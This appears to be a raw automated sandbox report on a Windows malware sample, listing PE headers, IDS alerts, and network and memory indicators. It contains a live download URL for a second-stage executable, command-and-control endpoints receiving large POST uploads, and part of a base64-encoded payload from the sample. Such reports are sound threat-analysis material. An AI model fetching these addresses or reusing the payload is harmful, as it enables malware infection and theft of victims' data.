00 10 00 00 00 10 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a7 20 00 00 00 20 04 00 00 22 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c fe 00 00 00 50 04 00 00 58 00 00 00 36 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 04 00 00 00 00 50 05 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 24 3d 00 00 00 60 05 00 00 3e 00 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /infopage/tvh53.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 147.45.44.131 147.45.44.131

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 104.21.47.136:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.47.136:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BF8HSG09User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12780Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=URWJUSLA0OTC7DX0WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15076Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IT1UG7M6MS1IK92FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20560Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Q50S24M0B9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1208Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7YVFSTRYYY2PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569419Host: sector-essay.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: sector-essay.cyou

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic

HTTP traffic detected: GET /infopage/tvh53.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: sector-essay.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sector-essay.cyou

Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/tvh53.exe
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/tvh53.exeP
Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.2267546315.0000000001570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/
Source: RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/5
Source: RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.2267846615.00000000015F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.2267546315.0000000001570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/api
Source: RegAsm.exe, 00000005.00000002.2267846615.00000000015F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/apiC
Source: RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/apiO
Source: RegAsm.exe, 00000005.00000002.2267846615.00000000015F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/apie
Source: RegAsm.exe, 00000005.00000002.2267546315.00000000015D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou/apij
Source: RegAsm.exe, 00000005.00000002.2267546315.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou:443/api
Source: RegAsm.exe, 00000005.00000002.2267546315.000000000155A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sector-essay.cyou:443/apiMicrosoft

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.136:443 -> 192.168.2.5:49722 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_00433A50 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00433A50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_00433A50 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00433A50

System Summary

.NET source code contains very large strings

Source: ZjH6H6xqo7.exe, Sap.cs

Long String: Length: 18812

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00439250	5_2_00439250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00408A70	5_2_00408A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042E3BE	5_2_0042E3BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00441CB0	5_2_00441CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00422D10	5_2_00422D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00409E21	5_2_00409E21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00438ED0	5_2_00438ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00420EF0	5_2_00420EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004277C0	5_2_004277C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00433820	5_2_00433820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00406830	5_2_00406830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042E03F	5_2_0042E03F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004098C0	5_2_004098C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042E0CB	5_2_0042E0CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004288DD	5_2_004288DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004288F8	5_2_004288F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00404880	5_2_00404880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00430082	5_2_00430082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004388B0	5_2_004388B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004290B1	5_2_004290B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00424957	5_2_00424957
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00405917	5_2_00405917
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041990C	5_2_0041990C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040E911	5_2_0040E911
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00405917	5_2_00405917
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004251D0	5_2_004251D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042C9E3	5_2_0042C9E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042C1F0	5_2_0042C1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041B1FA	5_2_0041B1FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00406180	5_2_00406180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042AA59	5_2_0042AA59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00402A70	5_2_00402A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00440210	5_2_00440210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042A235	5_2_0042A235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042FAD8	5_2_0042FAD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004402F0	5_2_004402F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041E304	5_2_0041E304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041F3C0	5_2_0041F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042C3D0	5_2_0042C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043C3D0	5_2_0043C3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042D304	5_2_0042D304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041EB80	5_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042AB83	5_2_0042AB83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043CB80	5_2_0043CB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004213AD	5_2_004213AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00425440	5_2_00425440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00430C61	5_2_00430C61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00409410	5_2_00409410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00406CC0	5_2_00406CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00405CC0	5_2_00405CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00403490	5_2_00403490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041C4BC	5_2_0041C4BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041FD50	5_2_0041FD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00427D61	5_2_00427D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00428D61	5_2_00428D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042ED09	5_2_0042ED09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040AD20	5_2_0040AD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042EDCA	5_2_0042EDCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004255D0	5_2_004255D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041CDE0	5_2_0041CDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0043FDE0	5_2_0043FDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042B580	5_2_0042B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004255A4	5_2_004255A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004335B0	5_2_004335B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00438650	5_2_00438650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00408670	5_2_00408670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00403E70	5_2_00403E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00419ECF	5_2_00419ECF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00418E83	5_2_00418E83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040B769	5_2_0040B769
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00441720	5_2_00441720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00423F26	5_2_00423F26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041AFC2	5_2_0041AFC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042C7C6	5_2_0042C7C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004077D0	5_2_004077D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004297D0	5_2_004297D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041A783	5_2_0041A783
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041FF90	5_2_0041FF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00431790	5_2_00431790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00426F9E	5_2_00426F9E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: String function: 00408450 appears 40 times

Source: ZjH6H6xqo7.exe, 00000000.00000002.2074535680.0000000002FC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameup5gphgh.dll4 vs ZjH6H6xqo7.exe
Source: ZjH6H6xqo7.exe, 00000000.00000002.2073668384.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ZjH6H6xqo7.exe
Source: ZjH6H6xqo7.exe, 00000000.00000000.2041679917.0000000000AEE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHilif.exe, vs ZjH6H6xqo7.exe
Source: ZjH6H6xqo7.exe, 00000000.00000002.2075583120.0000000005CF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameup5gphgh.dll4 vs ZjH6H6xqo7.exe
Source: ZjH6H6xqo7.exe	Binary or memory string: OriginalFilenameHilif.exe, vs ZjH6H6xqo7.exe

Source: ZjH6H6xqo7.exe, Pls.cs	Base64 encoded string: 'QzpcXFdpbmRvd3NcXE1pY3Jvc29mdC5ORVRcXEZyYW1ld29ya1xcdjQuMC4zMDMxOVxcUmVnQXNtLmV4ZQ=='
Source: ZjH6H6xqo7.exe, Sap.cs	Base64 encoded string: 'RjBVY2FBVVdNVThSRmxNWVBXODhGMFVMREZGVlZSdEZGbE1QVEhJY1p3VllEVVVXQzFVR1BXODhGMFVMREZGVlZSdEZGbE1QVEdRQWFCWmZEMU5NSzFnQll4QlpFbVVIRUVBY1pRZEZXVHRvYnp3RmN3QmFDMVZDQVZvVWRSRVdKMWdGQzFnUVl4QkZiendaYnp4VkprSVdRVVFIQlY4YWFFSjFEVmdVQjBRR2J3MVlMMU1XQ2xrUmRXODhRaFpDUWtZQVpBNWZBUllSRmxjQmJ3RVdLMWdXVXdCVlJRMVlGRk1RRm1JYVR3eENVd0JLQUU4Qll6bHJRa0FERGtNUUtrSmZERUpDRVVJVWRCWi9ERklIR2g5NERFSVdRaFlaYnp4VkprSVdRaFpDUWtRUWNoZEVEQllnQzBJMmFReEFCMFFXQjBSYlVnMS9ERUpUVkI0RFp3NURCeHBDRVVJVWRCWi9ERklIR2g5T0MyZ1dRaFpDSHp0L0MyZ1dRaFpDRWtNWGFndFZRa1VXQTBJY1pVSi9ERUpSVUJZMmFReEFCMFFXTmxrOGFCWUZVQjRBRzBJUVhUOFdGRmNPRjFOWkpndFlGaFlSRmxjSGNpdFlCbE1hU3p0L0prSVdRazF2YUJaVkprSVdRaFpDRUZNQmN4QllRblFMRm5VYWFCUlRFRUlIRUJnaGFTdFlGZ1ZRU2tBVWFoZFRUaFlSRmxjSGNpdFlCbE1hU3cxNERFSVdRaFlmYnp4NERFSVdRaFlTRjFRWmJ3RVdFVUlERmw4V0pnQlBGbE01UHhZMmFReEFCMFFXTmxrM2Z4WlRFUjRMREVKVmNBTmFGMU5MYnp4VkprSVdHVHRvUWhaVkprSVdRaFlRQjBJQWRBd1dJRjhXSVZrYmNBZEVGbE1RVEhFUWNpQlBGbE1SU2tBVWFoZFRTdzF2YUJaVkprSkxienhDUWhaVkpRZFlCa1FIQlY4YWFHODhienhDUWhaVkpSQlRCVjhOREJZMGRndDRBMXNIRVR0L0prSVdRa1lYQUZvY1pVSkZGbGNXQzFWVmRSWkVDMWdGT1d0VlFRZENJMFlMTEZjWVl4RWVTenRvUWhaVkpoazdhQlpDUWhaVkprSVdFRk1XRjBRYkpneFRGUllSRmtRY2FBVnRQenRvUWhaVkprSVdRaFlaYnp4VkprSVdRaFpDUWhaVkprSVVDVk1RREZNWk5WQVVUanRvUWhaVkprSVdRaFpDUWhaVkpBeENCbG9PUUJwNERFSVdRaFpDUWhaVkprSVdRaFF3QjBVQWF3ZGlDa1FIQTFKWEttODhRaFpDUWhaVkprSVdRaFpDUUdFYWNWUUNNVk1XTmw0SFl3TlNJVmtNRmxNTmNrQWFienhDUWhaVkprSVdRaFpDUWhaWFZRZENObDRRQjFjUlJRMVlGbE1hRmhSWk